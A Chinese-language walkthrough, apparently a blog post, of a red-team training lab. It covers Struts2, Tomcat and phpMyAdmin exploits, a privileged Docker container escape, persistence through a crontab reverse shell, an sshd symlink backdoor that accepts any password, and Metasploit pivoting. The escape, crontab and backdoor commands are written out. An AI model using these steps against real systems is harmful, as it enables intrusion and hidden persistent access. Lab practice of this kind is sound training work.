ATT&CK红队实战靶场04

基本信息

账号密码

  • web ubuntu:ubuntu
  • 域成员 douser:Dotest123
  • DC administrator:Test2008

环境为kali复制物理网络,ubuntu复制物理网络/仅主机,其余都为仅主机

拓补图

外网打点

对ubuntu进行扫描

S2

挨个访问,2001端口根据title可以看到是Struts2框架

掏出检测工具,存在漏洞

exp直接拿下root权限

tomcat

2002端口tomcat,想war写马但是403

检测到存在cve-2017-12615

phpmyadmin

2003端口phpmyadmin未授权,首先想到的是写通过日志写马,但是没有权限

网上找到4.8.1版本存在文件包含漏洞,可以通过写入缓存文件来getshell

复现连接https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md

然后在test库中查询,写入session缓存,然后再包含这个session文件来getshell,不知道为什么我本地根本没有生成这个session文件,已经拿到两个root权限的shell,不影响

docker逃逸

根据拿到的shell收集信息

判断是否为docker环境

ls -alh /.dockerenv #查看是否存dockerrnv文件
cat /proc/1/cgroup #查看系统进程的cgroup信息

此处利用特权模式逃逸,创建容器时通过添加–privileged=true参数,将容器以特权模式起动

1
docker run -itd --name privilegeTest –-privileged=true mongo:3.6-streth

特权模式起动的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起)这里tomcat容器是特权模式启动的

fdisk -l #查看磁盘文件
mkdir /chan #新建一个目录用于挂载
mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内

再利用计划任务反弹shell,这种半交互式shell,走web协议在写计划任务的时候会有很多转义问题,直接写webshell到根目录也出各种问题,于是用kali起了一个web服务把webshell放进去,让这个tomcat容器去下载

计划任务反弹shell

写入反弹语句

写到计划任务里

1
2
sed -i '$a*/1 *    * * *    root  bash /tmp/shell.sh ' /chan/etc/crontab 
cat /chan/etc/crontab

kali成功收到会话

构造ssh软连接后门,做权限维持

软连后门需要root执行后门命令,任意密码登录

1
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345

内网渗透

信息收集

发现有两张网卡

弹一个会话到msf上,方便内网渗透,直接用msf自带的webshell比去生成后门再上传方便很多,

将生成的连接复制到刚刚返弹的shell中执行

拿到会话

添加到40网段的路由

使用kali自带的模块再对40网段存活主机进行扫描

再进行端口探测

1
use auxiliary/scanner/portscan/tcp

内网打点

开放了445端口尝试17010,这里要创建一个正向连接的payload,因为我们无法直接与靶机通信,反向连接的话靶机无法连接到kali

ms17-010打过去不返回会话,不知道管理员密码,作弊直接上去反弹shell,是域用户不是system运行不了mimikatz

直接寄了,后面的流程就是打到域用户,然后抓取hash制作TGT票据,然后用ms14-068打到域控,制作黄金票据维持权限